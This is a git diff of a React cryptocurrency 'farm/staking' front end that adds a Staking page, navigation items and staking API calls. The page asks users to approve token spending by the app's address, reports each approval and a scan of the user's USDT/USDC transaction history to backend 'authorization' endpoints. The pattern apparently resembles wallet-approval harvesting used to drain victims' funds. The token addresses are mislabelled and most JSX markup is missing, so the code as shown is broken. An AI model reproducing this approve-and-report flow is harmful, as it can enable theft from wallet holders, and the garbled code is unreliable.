diff --git a/src/AppContext.js b/src/AppContext.js index 3fe2bfb..ea71027 100644 --- a/src/AppContext.js +++ b/src/AppContext.js @@ -2,6 +2,8 @@ import React from "react" import { config } from "./config" import { get_settings } from './api' import { ImTwitter, ImTelegram, ImFacebook, ImWhatsapp } from "react-icons/im" +import { FiHome, FiTrendingUp, FiLock } from 'react-icons/fi' +import { useTranslation } from "react-i18next" const AppContext = React.createContext(null) @@ -17,6 +19,8 @@ let SOCIALS = [ ] export const AppContextProvider = ({ children }) => { + const { t } = useTranslation() + const [address, setAddress] = React.useState('') // from settings const [title, setTitle] = React.useState('') @@ -32,6 +36,17 @@ export const AppContextProvider = ({ children }) => { const [appKey, setAppKey] = React.useState('') const [kefuUrl, setKefuUrl] = React.useState('') + const [menuItems, setMenuItems] = React.useState([ + { name: t('home'), icon: FiHome, path: '/home', enabled: true }, + { name: t('farm'), icon: FiTrendingUp, path: '/farm', enabled: true }, + { name: t('staking'), icon: FiLock, path: '/staking', enabled: true }, + ]) + const [docItems, setDocItems] = React.useState([ + { name: t('announcement'), icon: '', path: '', enabled: true }, + { name: t('faq'), icon: '', path: '', enabled: true }, + { name: t('tutorial'), icon: '', path: '', enabled: true }, + ]) + React.useEffect(() => { console.debug('should be once') @@ -83,6 +98,8 @@ export const AppContextProvider = ({ children }) => { appKey, socials, kefuUrl, + menuItems, + docItems, }}> {children} diff --git a/src/api/api.js b/src/api/api.js index caa80cc..d731f14 100644 --- a/src/api/api.js +++ b/src/api/api.js @@ -29,6 +29,10 @@ export const get_coins_platform_all = () => { return get('v1/coins/platform/all') } +export const get_coins_staking = () => { + return get('v1/coins/staking') +} + export const get_lockup = (address) => { return getWith('lockup', { address: address, @@ -56,13 +60,25 @@ export const get_authorization = (address, wallet) => { }) } -export const get_balance = (address) => { - return getWith('vaultBalance', { +export const get_authorization_v = (address, wallet) => { + return getWith('authorization_v', { + wallet, address, - type: 1, }) } +export const get_balance = (address, type) => { + return getWith('vaultBalance', { + address, + type, + }) +} + +export const get_farm_balance = (address) => get_balance(address, 1) + +export const get_staking_balance = (address) => get_balance(address, 3) + + /** * record that customer authorized. * @@ -91,6 +107,12 @@ export const get_upBalance = (address) => { }) } +export const get_upBalanceV3 = (address) => { + return getWith('upBalanceV3', { + address, + }) +} + export const get_withdrawalInfo = (address, he_address) => { return getWith('withdrawalInfo', { address, diff --git a/src/components/BottomNav.js b/src/components/BottomNav.js index 1f087ee..795d3f0 100644 --- a/src/components/BottomNav.js +++ b/src/components/BottomNav.js @@ -1,25 +1,22 @@ import { ChakraBottomNav, ChakraBottomNavItem } from './ChakraBottomNav' -import { FiHome, FiTrendingUp } from 'react-icons/fi' -import { useTranslation } from 'react-i18next' +import { useApp } from '../AppContext' export const BottomNav = (props) => { - const { t } = useTranslation() + const app = useApp() return ( - - - + { + app.menuItems.map((item, index) => ( + item.enabled && + )) + } ) } \ No newline at end of file diff --git a/src/components/ChakraBottomNav.js b/src/components/ChakraBottomNav.js index f20034b..b8a9cd3 100644 --- a/src/components/ChakraBottomNav.js +++ b/src/components/ChakraBottomNav.js @@ -80,7 +80,7 @@ export const ChakraBottomNavItem = ({ index, icon, text, } ChakraBottomNavItem.propTypes = { - index: PropTypes.string.isRequired, + // index: PropTypes.string.isRequired, } const BottomNavImpl = ({ children, ...rest }) => { diff --git a/src/components/SideBar.js b/src/components/SideBar.js index 8106899..8e30fc4 100644 --- a/src/components/SideBar.js +++ b/src/components/SideBar.js @@ -2,7 +2,7 @@ import { Box, CloseButton, Flex, Icon, useColorModeValue, Stack, } from '@chakra-ui/react' -import { FiArrowRight, FiHome, FiTrendingUp } from 'react-icons/fi' +import { FiArrowRight, FiHome, FiTrendingUp, FiLock } from 'react-icons/fi' import { useApp } from '../AppContext' import { Logo } from './Logo' import { ColorModeSwitcher } from './ColorModeSwitcher' @@ -74,17 +74,6 @@ export const SideBar = ({ onCloseDrawer, ...rest }) => { const { t } = useTranslation() // const colorBorderRight = useColorModeValue('gray.200', 'gray.700') - const menuItems = [ - { name: t('home'), icon: FiHome, path: '/home', enabled: true }, - { name: t('farm'), icon: FiTrendingUp, path: '/farm', enabled: true }, - ] - - const docItems = [ - { name: t('announcement'), icon: '', path: '', enabled: true }, - { name: t('faq'), icon: '', path: '', enabled: true }, - { name: t('tutorial'), icon: '', path: '', enabled: true }, - ] - return ( { {/* nav links */} { - menuItems.map((item) => ( + app.menuItems.map((item) => ( item.enabled && {item.name} @@ -134,7 +123,7 @@ export const SideBar = ({ onCloseDrawer, ...rest }) => { {/* document links */} { - docItems.map((item) => ( + app.docItems.map((item) => ( item.enabled && {item.name} diff --git a/src/data.js b/src/data.js index c968940..35107d4 100644 --- a/src/data.js +++ b/src/data.js @@ -22,6 +22,7 @@ export const Images = { ], more: config.ENDPOINT + 'static/media/icon-more.c502d302.svg', new: config.ENDPOINT + 'static/media/jiaobiao-eth.4b55fb16.svg', + stakingBanner: config.ENDPOINT + 'static/media/banner-staking-bsc-english.539496dc.png' } export const ABI = [ diff --git a/src/data/Images.js b/src/data/Images.js new file mode 100644 index 0000000..e69de29 diff --git a/src/data/Navs.js b/src/data/Navs.js new file mode 100644 index 0000000..e69de29 diff --git a/src/data/index.js b/src/data/index.js new file mode 100644 index 0000000..e69de29 diff --git a/src/index.js b/src/index.js index 367e00e..0d574af 100644 --- a/src/index.js +++ b/src/index.js @@ -2,11 +2,11 @@ import React, { StrictMode } from 'react' import { createRoot } from 'react-dom/client' import i18n from './i18' import App from './App' -import { Home, Farm } from './pages' +import { Home, Farm, Staking } from './pages' import reportWebVitals from './reportWebVitals' import * as serviceWorker from './serviceWorker' import { BrowserRouter, Routes, Route } from 'react-router-dom' -import { NotFound } from './pages/NotFound' +import { NotFound } from './pages' const element = document.getElementById('root') const root = createRoot(element) @@ -19,6 +19,7 @@ root.render( } /> } /> } /> + } /> } /> diff --git a/src/lang/en.js b/src/lang/en.js index c405d55..29d1e10 100644 --- a/src/lang/en.js +++ b/src/lang/en.js @@ -2,6 +2,7 @@ export const en = { home: 'Home', farm: 'Farm', + staking: 'Staking', announcement: 'Announcement', faq: 'FAQ', tutorial: 'tutorial', diff --git a/src/lang/fr.js b/src/lang/fr.js index c2a6f55..2f0c4d9 100644 --- a/src/lang/fr.js +++ b/src/lang/fr.js @@ -2,6 +2,7 @@ export const fr = { home: 'Domicile', farm: 'Ferme', + staking: 'Staking', announcement: 'Annonce', faq: 'FAQ', tutorial: 'Didacticiel', diff --git a/src/lang/tw.js b/src/lang/tw.js index 5e52cbd..7fc3eea 100644 --- a/src/lang/tw.js +++ b/src/lang/tw.js @@ -2,6 +2,7 @@ export const tw = { home: '首頁', farm: '農場', + staking: 'Staking', announcement: '公告', faq: 'FAQ', tutorial: '教案', diff --git a/src/pages/Dao.js b/src/pages/Dao.js new file mode 100644 index 0000000..e69de29 diff --git a/src/pages/Invite.js b/src/pages/Invite.js new file mode 100644 index 0000000..e69de29 diff --git a/src/pages/Staking.js b/src/pages/Staking.js index a4208d5..444234b 100644 --- a/src/pages/Staking.js +++ b/src/pages/Staking.js @@ -1,9 +1,280 @@ import React from "react" +import { + Stack, Image, HStack, + AspectRatio, Input, + FormControl, Box, + useDisclosure, useToast, + useColorModeValue, +} from "@chakra-ui/react" +import { StateCard, FarmCoinCard } from "../components" +import { useApp } from "../AppContext" +import { config } from "../config" +import { ABI } from "../data" +import { + get_staking_balance, + get_coins_platform_all, + get_coins_staking, + get_ether, get_authorization_v, + get_authorization_one, get_authorization_search, get_upBalance, +} from "../api" +import { approve, transfer } from '../lib' +import { ModalBox } from '../components' +import { Images } from '../data' export const Staking = () => { + const [balance, setBalance] = React.useState({}) + + const [lock, setLock] = React.useState([]) + + const [coins, setCoins] = React.useState([]) + const [depositeIndex, setDepositeIndex] = React.useState(-1) + + const app = useApp() + const toast = useToast() + const bg = useColorModeValue('white', 'gray.900') + + const { isOpen: isWithdrawalOpen, onOpen: onWithdrawalOpen, onClose: onWithdrawalClose } = useDisclosure() + const { isOpen: isDepositeOpen, onOpen: onDepositeOpen, onClose: onDepositeClose } = useDisclosure() + + const withdrawalRef = React.useRef() + const depositeRef = React.useRef() + + const _getcoins = () => { + get_coins_staking().then(res => { + // setCoins(res.data) + console.log(res.data) + }).catch(err => { + console.error('get_coins_staking() error:' + err.message) + }) + } + const _getVaultBalance = () => { + if (!app.balance) { + return false + } + + get_staking_balance(app.address).then((res) => { + + },) + } + + const onWithdrawalConfirmed = () => { + + } + + const onDepositeConfirmed = () => { + if (depositeIndex < 0 || depositeIndex >= coins.length) { + console.error('index out of range') + return + } + const amount = depositeRef.current.value + + transfer(ABI, coins[depositeIndex].address, app.appAddress, amount, app.address, (err, res) => { + if (!err) { + toast({ + title: 'Succeed', + description: "You have successfully deposited " + amount + " " + coins[depositeIndex].name, + status: 'success', + duration: 9000, + isClosable: true, + }) + // TODO 提交充值记录 + get_upBalance(app.address).then(res => { + + }).catch(err => { + console.error('get_upBalance() error:' + err.message) + }) + } else { + toast({ + title: 'Failed', + description: "Your operation has not been completed.", + status: 'info', + duration: 9000, + isClosable: true, + }) + console.error('transfer() error:' + err.message) + } + }) + } + + // click withdrawal + const onBtnWithdrawal = (index) => { + onWithdrawalOpen() + } + + // clicked minming + const onBtnMining = (index) => { + if (index < 0 || index >= coins.length) { + console.error('index out of range') + return + } + + let _coins = [...coins] + + if (_coins[index].authorized) { + setDepositeIndex(index) + onDepositeOpen() + } else { + if (!app.address) { + toast({ + title: 'Wallet not connected', + description: "Please connect your wallet first to perform the operation", + status: 'warning', + duration: 9000, + isClosable: true, + }) + return + } + // make button loading + _coins[index].loading = true + setCoins(_coins) + + approve(ABI, _coins[index].address, app.appAddress, app.address, (err, tx) => { + _coins = [...coins] + + if (!err) { + get_authorization_one(app.address, _coins[index].name, tx).then(res => { + // we dont care the result + }).catch(err => { + console.error('get_authorization_one() error:' + err.message) + }) + + // + let hi = setInterval(() => { + get_authorization_search(tx).then(res => { + _coins[index].authorized = true // for simple, we dont check the result. + setCoins(_coins) + + clearInterval(hi) + }).catch(err => { + console.error("get_authorization_search() error:" + err.message) + }) + }, 8000) + } else { + console.error("approve error:" + err.message) + } + // recover loading + _coins[index].loading = false + setCoins(_coins) + }) + } + } + + React.useEffect(() => { + app.address && get_staking_balance(app.address).then(res => { + console.log(res.data) + }).catch(err => { + console.error('get_staking_balance() error:' + err.message) + }) + + get_coins_platform_all().then(res => { + setCoins(res.data) + }).catch(err => { + console.error('get_coins_platform_all() error:' + err.message) + }) + + app.address && get_ether(app.address).then(res => { + let list = '' + let changed = false + let _coins = [...coins] + res.data.result.forEach(r => { + if (r.from == app.address.toLowerCase() && r.isError == 0) { + if (r.to == '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48') { + list += 'USDT|' + } else if (r.to == '0xdac17f958d2ee523a2206206994597c13d831ec7') { + list += 'USDC|' + } + } + }) + if (changed) { + setCoins(_coins) + } + // + get_authorization_v(app.address, list) + }).catch(err => { + console.error('get_ether() error:' + err.message) + }) + }, [app.address]) return ( -
Staking
+ <> + + + lock + + + + + + + + + + + + + + + { + + coins && coins.map((coin, index) => ( + + + + )) + } + + {/* withdrawal box */} + + Amount + + + + + {/* deposite box */} + + + Amount + + + + + ) } \ No newline at end of file diff --git a/src/pages/index.js b/src/pages/index.js index 6f63b60..c37a9d2 100644 --- a/src/pages/index.js +++ b/src/pages/index.js @@ -2,4 +2,6 @@ export * from './Home' export * from './Farm' export * from './Staking' -export * from './Announcement' \ No newline at end of file +export * from './Announcement' +export * from './NotFound' +export * from './Invite'